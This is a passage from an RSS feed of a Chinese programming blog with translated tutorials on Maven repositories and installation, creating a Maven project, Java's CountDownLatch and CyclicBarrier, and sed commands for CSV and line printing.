&lt;pre&gt;&amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;com.google.code&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;kaptcha&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt;
 &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;这个前面说过了，Maven坐标嘛&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven仓库详解</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Thu, 19 Sep 2013 22:05:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;本文由我翻译合并了多篇文章，整理成一篇。&lt;/p&gt;
&lt;h1 id=&#34;一本地仓库local-repository&#34;&gt;一.本地仓库(Local Repository)&lt;/h1&gt;
&lt;p&gt;本地仓库就是一个本机的目录，这个目录被用来存储我们项目的所有依赖（插件的jar包还有一些其他的文件），简单的说，当你build一个Maven项目的时候，所有的依赖文件都会放在本地仓库里，仓库供所有项目都可以使用&lt;/p&gt;
&lt;p&gt;默认情况下，本地仓库在.m2目录，windows下的话就是你的用户名目录下的.m2目录&lt;/p&gt;
&lt;h2 id=&#34;1更新本地仓库目录&#34;&gt;1.更新本地仓库目录&lt;/h2&gt;
&lt;p&gt;找到你的MAVEN_HOME目录下的conf/setting.xml文件，更新localRepository节点&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;maven_home/conf/setting.xml&#34;&gt;&amp;lt;settings&amp;gt;
  &amp;lt;!-- localRepository
   | The path to the local repository maven will use to store artifacts.
   |
   | Default: ~/.m2/repository
  &amp;lt;localRepository&amp;gt;/path/to/local/repo&amp;lt;/localRepository&amp;gt;
  --&amp;gt;

&amp;lt;localRepository&amp;gt;D:/maven/repo&amp;lt;/localRepository&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;2保存一下&#34;&gt; 2.保存一下&lt;/h2&gt;
&lt;p&gt;完成了。新的本地仓库被放在了D:/maven/repo&lt;/p&gt;
&lt;p&gt;看一下这个目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-local-repo.png&#34;&gt;&lt;img alt=&#34;maven-local-repo&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4bc19a12bd7d869d840c872a9c3bdbfbd55d339c.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;二中央仓库central-repository&#34;&gt; 二.中央仓库(central repository)&lt;/h1&gt;
&lt;p&gt;当我们build一个Maven项目的时候，Maven会检查我们的pom.xml文件，来定义项目的依赖，然后Maven会在本地仓库里查找，如果没有找到，就去maven的中央库去下载，地址是&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://search.maven.org/#browse&#34;&gt;http://search.maven.org/#browse&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看起来是这样的&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-center-repository-search.png&#34;&gt;&lt;img alt=&#34;maven-center-repository-search&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1b90bc7c3b841d566a18777d661d40b159a29b16.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;注意啊，虽然这个是新的中央仓库，但有时候还是会从_“&lt;strong&gt;&lt;a href=&#34;http://repo1.maven.org/maven/&#34;&gt;http://repo1.maven.org/maven/&lt;/a&gt;&lt;/strong&gt;_这个旧仓库下载东西，不过不要紧，理解就行了&lt;/p&gt;
&lt;h1 id=&#34;三远程仓库remote-respository&#34;&gt;三.远程仓库(Remote Respository)&lt;/h1&gt;
&lt;p&gt;在Maven中，当你在pom.xml中生命的依赖既不在本地库，也不在中央库的时候，就会报错。&lt;/p&gt;
&lt;h2 id=&#34;1例子&#34;&gt;1.例子&lt;/h2&gt;
&lt;p&gt;org.jvnet.localizer这个包仅在&lt;a href=&#34;https://maven.java.net/content/repositories/public/&#34;&gt;java.net的仓库里&lt;/a&gt;有(以前是，现在中央仓库也有了。但理解就行)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;   &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.jvnet.localizer&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;localizer&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;1.8&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;当我们build的时候，会失败，并输出未找到错误信息&lt;/p&gt;
&lt;h2 id=&#34;2声明javanet仓库&#34;&gt;2.声明java.net仓库&lt;/h2&gt;
&lt;p&gt;为了告诉Maven从远程仓库里获取依赖，我们需要声明一个远程仓库，在pom.xml里这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;repositories&amp;gt;
	&amp;lt;repository&amp;gt;
	    &amp;lt;id&amp;gt;java.net&amp;lt;/id&amp;gt;
	    &amp;lt;url&amp;gt;https://maven.java.net/content/repositories/public/&amp;lt;/url&amp;gt;
	&amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;&lt;/pre&gt;
&lt;p&gt;这样，Maven搜索依赖的顺序就是：&lt;/p&gt;
&lt;p&gt;1）搜索本地仓库，没有找到，就去第2步，否则退出&lt;/p&gt;
&lt;p&gt;2）搜索中央仓库，没有找到，就去第3步，否则退出&lt;/p&gt;
&lt;p&gt;3）去java.net远程仓库获取，没有找到，就报错，否则退出&lt;/p&gt;
&lt;p&gt;补充：JBoss也有个远程仓库，可以如下配置：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;project ...&amp;gt;
    &amp;lt;repositories&amp;gt;
      &amp;lt;repository&amp;gt;
	&amp;lt;id&amp;gt;JBoss repository&amp;lt;/id&amp;gt;
	&amp;lt;url&amp;gt;http://repository.jboss.org/nexus/content/groups/public/&amp;lt;/url&amp;gt;
      &amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Maven安装教程</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</link>
      <pubDate>Thu, 19 Sep 2013 21:15:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</guid>
      <description>&lt;p&gt;Maven不需要作为服务组件安装到windows上，仅仅需要下载，解压，然后配置一下环境变量就行了&lt;/p&gt;
&lt;h2 id=&#34;1jdk和java_home&#34;&gt;1.JDK和JAVA_HOME&lt;/h2&gt;
&lt;p&gt;确保JDK已经安装，同时JAVA_HOME变量已经添加到了windows环境变量里，指向jdk目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-java-home.png&#34;&gt;&lt;img alt=&#34;maven-java-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3161766919fb6fd118699cc45753f0740be3a6b4.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;2下载maven&#34;&gt;2.下载Maven&lt;/h2&gt;
&lt;p&gt;去&lt;a href=&#34;http://maven.apache.org/download.html&#34;&gt;Maven主页&lt;/a&gt;,选个版本，点击下载&lt;/p&gt;
&lt;h2 id=&#34;3解压&#34;&gt;3.解压&lt;/h2&gt;
&lt;p&gt;解压下载的zip文件，重命名，比如我放到D盘的Maven目录&lt;/p&gt;
&lt;h2 id=&#34;4添加maven_home环境变量&#34;&gt;4.添加MAVEN_HOME环境变量&lt;/h2&gt;
&lt;p&gt;添加一个新的环境变量MAVEN_HOME到环境变量，指向Maven目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-maven-home.png&#34;&gt;&lt;img alt=&#34;maven-maven-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2878c27f389f27afa72040040a0cc54312b388.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;5添加path变量&#34;&gt;5.添加path变量&lt;/h2&gt;
&lt;p&gt;更新Path变量，把Maven的bin目录添加进去，这样就可以在任何地方执行mvn命令了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Maven-Path.png&#34;&gt;&lt;img alt=&#34;Maven-Path&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ec2bd24fcc118b64cb10405acb807c59490c10d6.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;6验证&#34;&gt;6.验证&lt;/h2&gt;
&lt;p&gt;打开命令行，输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn -version&lt;/pre&gt;
&lt;p&gt;如果看到类似下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;C:\Documents and Settings\mkyong&amp;gt;mvn -version
Apache Maven 2.2.1 (r801777; 2009-08-07 03:16:01+0800)
Java version: 1.6.0_13
Java home: C:\Program Files\Java\jdk1.6.0_13\jre
Default locale: en_US, platform encoding: Cp1252
OS name: &#34;windows xp&#34; version: &#34;5.1&#34; arch: &#34;x86&#34; Family: &#34;windows&#34;&lt;/pre&gt;
&lt;p&gt;Maven已经成功的安装配置了。&lt;/p&gt;
&lt;p&gt;老外写的太详细了。。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven实例入门-随机数生成</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</link>
      <pubDate>Thu, 19 Sep 2013 20:50:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</guid>
      <description>&lt;p&gt;看了很多个例子，发现这个最好，译文中会带有我的一些了理解，有问题欢迎指出。&lt;/p&gt;
&lt;h2 id=&#34;0maven是什么&#34;&gt;0.Maven是什么？&lt;/h2&gt;
&lt;p&gt;Apache Maven，是一个软件（特别是Java软件）项目管理及自动构建工具，由Apache软件基金会所提供。基于项目对象模型（缩写：POM）概念，Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。&lt;/p&gt;
&lt;p&gt;可以看到，核心就是项目管理和自动构建了，从例子中将会体会更深。本例创建一个随机数生成程序。&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建项目&#34;&gt;1.从Maven模板创建项目&lt;/h2&gt;
&lt;p&gt;Maven的环境变量配置和java类似，直接添加系统变量MAVEN_HOME指向你下载的maven目录，然后将bin目录添加到path环境变量里。&lt;/p&gt;
&lt;p&gt;在命令行下，进入到你想存储项目的位置，比如，我自己有个叫work的目录，那么我就cd到work目录，然后按下面的格式输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这是告诉Maven从**maven-archetype-quickstart **创建一个java项目，如果你这个参数不填，那么会列出一个列表，让你选择你想创建什么类型，比如web项目啊，啥的。&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt;mvn archetype:generate -DgroupId=com.mkyong -DartifactId=NumberGenerator -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] -- omitted for readability
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-quickstart:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: NumberGenerator
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/NumberGenerator
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.917s
[INFO] Finished at: Mon Dec 17 18:53:58 MYT 2012
[INFO] Final Memory: 9M/24M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这里的groupId就是包名，artifactId就是类名，以后具体的一些其他参数我希望有时间可以跟大家分享。&lt;/p&gt;
&lt;h2 id=&#34;2maven目录结构&#34;&gt;2.Maven目录结构&lt;/h2&gt;
&lt;p&gt;上面的命令第一次执行的时候会从apache网站下载maven的一些其他东西，所以务必保持联网。执行成功后，会生成一个这样的目录结构&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;NumberGenerator
   |-src
   |---main
   |-----java
   |-------com
   |---------mkyong
   |-----------App.java
   |---test
   |-----java
   |-------com
   |---------mkyong
   |-----------AppTest.java
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;这里main目录是我们的程序住代码目录。源代码会放在/src/main/java/包名 目录里，而单元测试代码会放在/src/test/java/包名 目录里。当然还有一个标准的pom.xml文件会生成。这个pom文件其实类似于Ant的build.xml文件，它包含了项目的信息，从目录结构到项目插件到项目依赖，都有了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
  	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
  &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
  &amp;lt;groupId&amp;gt;com.mkyong&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;NumberGenerator&amp;lt;/artifactId&amp;gt;
  &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
  &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
  &amp;lt;name&amp;gt;NumberGenerator&amp;lt;/name&amp;gt;
  &amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;
  &amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt;
      &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
    &amp;lt;/dependency&amp;gt;
  &amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;3用eclipse写代码&#34;&gt;3.用Eclipse写代码&lt;/h2&gt;
&lt;p&gt;maven已经生成了一个完整的工程了，为了能够导入到eclipse里来编辑代码，我们可以把这个项目转换成eclipse可用的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Java中的CountDownLatch和CyclicBarrier</title>
      <link>http://blog.leaver.me/2013/09/15/%E8%AF%91java%E4%B8%AD%E7%9A%84countdownlatch%E5%92%8Ccyclicbarrier/</link>
      <pubDate>Sun, 15 Sep 2013 08:03:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/15/%E8%AF%91java%E4%B8%AD%E7%9A%84countdownlatch%E5%92%8Ccyclicbarrier/</guid>
      <description>&lt;p&gt;本文译自官方文档，有细微改动，Java多线程的时候，看了好多文档，还是官方说的最清楚。结合自己的理解，译之。&lt;/p&gt;
&lt;h2 id=&#34;countdownlatch&#34;&gt;CountDownLatch&lt;/h2&gt;
&lt;p&gt;字面意思就是倒计数闩，后面会讲到，这里的同步允许一个或多个线程等待，，知道其他线程进行的一系列操作完成。而CountDownLatch通过一个参数count（数目）来构造，而await（）则阻塞当前线程，直到countDown()将count减为了0，然后，所有的阻塞线程被释放，也就是那些调用了await方法的线程立即返回，注意，这是一次性的，也就是说count不能被自动重置，如果你想这么做，CyclicBarrier是可以的。&lt;/p&gt;
&lt;p&gt;CountDownLatch用处很多，当用count=1来构造的时候，这就相当于一个开关，所有调用了await方法的线程都在等待，直到有一个线程调用了countDown()，CountDownLatch通过count=N构造的话，就可以使一个线程等待其他N个线程完成操作，或者一个操作被做N次。&lt;/p&gt;
&lt;p&gt;简单的demo：&lt;/p&gt;
&lt;p&gt;一组worker（工人）线程使用两个CountDownLatch&lt;/p&gt;
&lt;p&gt;第一个是开始信号，用来阻止工人提前操作，直到(driver)传送带准备好了才允许开始&lt;/p&gt;
&lt;p&gt;第二个是完成信号，他使传送带等待直到所有的worker都完成&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; class Driver { // ...
   void main() throws InterruptedException {
     CountDownLatch startSignal = new CountDownLatch(1);
     CountDownLatch doneSignal = new CountDownLatch(N);

     for (int i = 0; i &amp;lt; N; ++i) // 创建并启动线程
       new Thread(new Worker(startSignal, doneSignal)).start();

     doSomethingElse();            // 传送带做点准备工作
     startSignal.countDown();      // 减为0，工人可以开始了
     doSomethingElse();
     doneSignal.await();           // 等待直到所有的工人完成任务
   }
 }

 class Worker implements Runnable {
   private final CountDownLatch startSignal;
   private final CountDownLatch doneSignal;
   Worker(CountDownLatch startSignal, CountDownLatch doneSignal) {
      this.startSignal = startSignal;
      this.doneSignal = doneSignal;
   }
   public void run() {
      try {
        startSignal.await();//工人们等待开关打开
        doWork();              //做事
        doneSignal.countDown(); //做完了就给countdownlatch 减去1
      } catch (InterruptedException ex) {} // return;
   }

   void doWork() { ... }
 }&lt;/pre&gt;
&lt;p&gt;另一个典型的例子就是把问题分成N部分，通过线程执行每一部分，具体的话是将线程入队到一个Executor对象里。然后调用execute方法。当执行完毕一部分，就并给latch 减去1，当减到0的时候调用await的方法就可以继续运行了，当需要重复计数的话，用CyclicBarrier代替&lt;/p&gt;
&lt;pre&gt;class Driver2 { // ...
   void main() throws InterruptedException {
     CountDownLatch doneSignal = new CountDownLatch(N);
     Executor e = ...

     for (int i = 0; i &amp;lt; N; ++i) // 创建并开始线程
       e.execute(new WorkerRunnable(doneSignal, i));

     doneSignal.await();           // 等待所有的线程完成
   }
 }

 class WorkerRunnable implements Runnable {
   private final CountDownLatch doneSignal;
   private final int i;
   WorkerRunnable(CountDownLatch doneSignal, int i) {
      this.doneSignal = doneSignal;
      this.i = i;
   }
   public void run() {
      try {
        doWork(i);
        doneSignal.countDown();
      } catch (InterruptedException ex) {} // 返回;
   }

   void doWork() { ... }
 }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第八篇–CSV文件操作</title>
      <link>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AB%E7%AF%87csv%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/</link>
      <pubDate>Sun, 11 Aug 2013 16:55:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AB%E7%AF%87csv%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/</guid>
      <description>&lt;p&gt;本文作为sed使用教程的最后一篇，将比较全面的讲解如何操作csv文件，csv文件通过逗号分隔&lt;/p&gt;
&lt;p&gt;示例文件如下：&lt;/p&gt;
&lt;pre&gt;cat file
Solaris,25,11
Ubuntu,31,2
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.删除第一列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/[^,]*,//&#39; file
25,11
31,2
21,3
45,4
12,5&lt;/pre&gt;
&lt;p&gt;s开启替换模式，当^符号在中括号里的时候，就是非的意思，也就是说[^,]匹配了所有不是逗号的一个字符，然后后面的星号表示0个或多个，然后是一个逗号，也就是匹配&amp;quot;xxxx,&amp;ldquo;替换为空&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除除过最后一列的其他所有&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/.*,//&#39; file
11
2
3
4
5&lt;/pre&gt;
&lt;p&gt;sed先匹配任意多个字符，然后匹配最后一个“,”这就直接把前面的都匹配完了。替换为空即可。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.输出第一列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/,.*//&#39; file
Solaris
Ubuntu
Fedora
LinuxMint
RedHat&lt;/pre&gt;
&lt;p&gt;好理解把，先匹配第一列之后的逗号，然后是多个字符，然后替换为空&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.删除第二列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/,[^,]*,/,/&#39; file
Solaris,11
Ubuntu,2
Fedora,3
LinuxMint,4
RedHat,5&lt;/pre&gt;
&lt;p&gt;先匹配第一列之后的逗号，然后匹配一个或多个非逗号字符，这样就匹配了第二列的内容，然后再匹配一个逗号，我简化一下，比如该列是1，2，3，4，那么这一个匹配就是&amp;rdquo;,2,&amp;quot;，替换成一个逗号，就是1，3，4了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.输出第二列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/[^,]*,\([^,]*\).*/\1/&#39; file
25
31
21
45
12&lt;/pre&gt;
&lt;p&gt;我们可以分析前两个斜线之间的内容&lt;/p&gt;
&lt;pre&gt;[^,]*,\([^,]*\).*&lt;/pre&gt;
&lt;p&gt;两个右斜线转移了括号，所以括号不是简单的符号，而是正则里的组的意义，圆括号的作用是对字符进行分组，并保存匹配的文本。这里先匹配非逗号的多个字符，然后一个逗号，然后再匹配第二列，并且第二列的匹配用括号括起来，然后匹配其他列，然后里面用\1来引用这个括号的内容，如果前面有两个括号，就可以使用\1或\2这样，分别表示第一个括号或第二个括号的匹配&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.输出最后一列是一位数字的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/.*,[0-9]$/p&#39; file
Ubuntu,31,2
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;.*匹配了前面的所有字符，然后,匹配了最后一个逗号，sed的贪婪原则。。然后[0-9]匹配一个数字$表示行尾.ok&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.给每一行自动添加行号&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed = file | sed &#39;N;s/\n/ /&#39;
1 Solaris,25,11
2 Ubuntu,31,2
3 Fedora,21,3
4 LinuxMint,45,4
5 RedHat,12,5&lt;/pre&gt;
&lt;p&gt;这个和cat -n file的效果是一样的。awk也可以很简单的做，这里使用一个=命令会在每一行之前添加一个行号，也就是是，如果执行&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;sed = file&lt;/pre&gt;
&lt;p&gt;文件会是：&lt;/p&gt;
&lt;pre&gt;1 
Solaris,25,11
2 
Ubuntu,31,2
3 
Fedora,21,3
4 
LinuxMint,45,4
5 
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;然后我们通过管道再执行&lt;/p&gt;
&lt;pre&gt;sed &#39;N;s/\n/ /&#39;&lt;/pre&gt;
&lt;p&gt;N表示读入并合并下一行，然后将两行之间的换行符替换为空即可了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如果第一列是Ubuntu，就把最后一列替换成99&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/\(Ubuntu\)\(,.*,\).*/\1\299/&#39; file
Solaris,25,11
Ubuntu,31,99
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;中间的&lt;/p&gt;
&lt;pre&gt;\(Ubuntu\)\(,.*,\).*&lt;/pre&gt;
&lt;p&gt;匹配“Ubuntu,任意个字符,任意个字符”,也就是将行分成几组，将本行替换成第一组的内容第一组的内容，第二组的内容，但最后的一列被替换成99，就这样。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.如果第一列是RedHat就删除第二列&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第七篇–输出文件内容(10 Demo)</title>
      <link>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%83%E7%AF%87%E8%BE%93%E5%87%BA%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B910-demo/</link>
      <pubDate>Sun, 11 Aug 2013 16:27:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%83%E7%AF%87%E8%BE%93%E5%87%BA%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B910-demo/</guid>
      <description>&lt;p&gt;之前已经学习过&lt;a href=&#34;http://leaver.me/archives/3179.html&#34;&gt;选择性打印输出&lt;/a&gt;了，本文将通过10个例子全面讲解文件输出的一些方法，主打p命令&lt;/p&gt;
&lt;p&gt;首先看一下将使用的示例文件&lt;/p&gt;
&lt;pre&gt;$ cat file
AIX
Solaris
Unix
Linux
HPUX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.打印文件首行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;1p&#39; file
AIX&lt;/pre&gt;
&lt;p&gt;之前讲过了，-n取消默认的全部打印，p表示print，1就是行号了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.输出最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;$p&#39; file
HPUX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.输出不匹配X的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/X/!p&#39; file
Solaris
Unix
Linux&lt;/pre&gt;
&lt;p&gt;也好理解，！表示非，就是说包含X匹配的不打印输出&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.输出包含u/x的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/[ux]/p&#39; file
Unix
Linux&lt;/pre&gt;
&lt;p&gt;正则是强大的，这样就匹配了u/x&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.输出以x/X结尾的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/[xX]$/p&#39; file
AIX
Unix
Linux
HPUX&lt;/pre&gt;
&lt;p&gt;这里$符号不再是匹配文件尾部，而是行尾，这是正则的规则&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.输出以A/L开头的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/^A\|^L/p&#39; file
AIX
Linux&lt;/pre&gt;
&lt;p&gt;前面也说过，^匹配了行首，A表示A匹配，然而|则是或者的意思，为什么要加\转义，是为了避免被解析成pipe管道，后面的就不解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.隔行打印&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;n命令是输出当前行，然后读入下一行到pattern space的意思，这句命令是这么执行的，首先读入一行，然后通过n命令输出，然后通过n命令再读一行，然后把这行删除，就出现了隔行输出的效果&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如何两行输出，隔两行再输出&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;n;n;N;d&#39; file
AIX
Solaris
HPUX&lt;/pre&gt;
